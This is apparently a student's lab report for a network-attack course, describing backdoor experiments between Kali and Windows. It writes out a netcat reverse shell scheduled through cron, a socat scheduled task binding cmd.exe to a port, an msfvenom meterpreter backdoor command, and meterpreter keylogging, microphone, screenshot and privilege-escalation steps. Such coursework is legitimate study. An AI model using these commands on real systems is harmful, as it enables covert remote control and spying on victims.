zoukankan      html  css  js  c++  java
  • 20145322何志威《网络对抗》Exp2 后门原理与实践

    基础问题回答

    1 例举你能想到的一个后门进入到你系统中的可能方式?

    在网上下载盗版软件时捆绑的后门程序。

    不小心进入钓鱼网站。

    2 例举你知道的后门如何启动起来(win及linux)的方式?

    Windows =中的任务计划、开机启动、和其他恶意软件捆绑启动。

    对后门程序进行伪装,引诱用户点击启动(游戏)。

    3 Meterpreter有哪些给你映像深刻的功能?

    那必须是摄像头(虽然我的没成功,所以没写),但是其他人可以,那简直完胜一切偷摸的摄像头。

    4 如何发现自己有系统有没有被安装后门?

    其他方法我不知道,做实验的时候QQ安全管家没关,直接把我的后门删了,可以看出一般杀毒软件还是可以的。

    实验总结与体会

    自己一联网就感觉多少有点慌,平时真的很少打补丁,尤其做MSF那一块的时候,觉得被攻击太容易了,不过令我感到欣慰的还是QQ管家,直接帮我把后门给删了,说明现在的一些常见的杀毒软件还是很可靠的,最主要的还是平时要加强自己的安全意识,定期杀毒,多打补丁。对于这门课感觉兴趣更大了,毕竟自己动手效果很直接明了。

    一、后门工具实践过程

    1 使用 ipconfig 指令查看本机IP:

    2 在 Windows 上使用 ncat.exe 程序监听5322端口:

    3 在Kali上使用ncat.exe程序监听5322端口:

    4 Windows 上成功获得Kali的shell:

    二、Linux获得Windows Shell

    1 获得 Kali 的IP:

    2 在Kali上使用ncat.exe程序监听5322端口:

    3 在Windows上,使用 ncat 程序中-e选项项反向连接Kali主机的5322端口:

    4 通过Kali可以看到命令提示,并可以输入Windows的命令:

    三、使用nc传输数据

    1 Windows 下监听5322端口:

    2 Kali下连接到Windows的5322端口:

    3 连接成功,开始聊天!

    四、使用 netcat 获取主机操作Shell,cron启动

    1 在 Windows 上使用 ncat 程序监听5322端口:

    2 使用man crontab指令查看crontab命令,可知其用来将标准输入设备中读取指令,然后存到crontab文件中以便之后再用

    3 用 crontab -e指令编一条定时任务(本机默认是vim编辑器),并且最后一行添加50 * * * * /bin/netcat 172.20.10.14 5322 -e /bin/sh,让他在50分的时候显示:

    49分的时候没显示

    50分显示出来

    五、使用socat获取主机操作Shell, 任务计划启动

    1 在Windows系统下,打开控制面板->管理工具->任务计划程序,创建任务,填写任务名称后,新建一个触发器

    2 在操作->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5322 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口5322,同时把cmd.exe的stderr重定向到stdout上

    3 创建完成之后,按Windows+L快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行:

    4 在Kali环境下输入指令socat - tcp:172.20.10.14:5322,此时可以发现已经成功获得了一个cmd shell:

    六、使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

    1 输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.20.10.2 LPORT=5322-f exe > 20145322_backdoor.exe,创建后门:

    2 通过nc指令将生成的后门程序传送到Windows主机上:

    3 在Kali上使用msfconsole指令设置payload,设置反弹回连的IP和端口:

    4 监听:

    5 Windows上打开后门程序:

    6 Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell

    七、使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

    1 record_mic指令可以截获一段音频:

    2 screenshot指令可以进行截屏:

    3 keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录:

    4 先使用getuid指令查看当前用户,使用getsystem指令进行提权:

  • 相关阅读:
    win10怎么还原系统【系统天地】
    win7电脑玩游戏不能全屏怎么办【系统天地】
    win10显卡驱动报错怎么办【系统天地】
    win7防火墙在哪里设置【系统天地】
    怎么开启Win10远程桌面连接【系统天地】
    Win7系统C盘空间太小怎么扩容【系统天地】
    vscode 运行创建Vue项目指令出现“因为在此系统上禁止运行脚本“报错解决办法
    关于性能测试的基础——Jmeter
    学习笔记-202008
    EEPROM和flash的区别
  • 原文地址:https://www.cnblogs.com/HZW20145322/p/6569318.html
Copyright © 2011-2022 走看看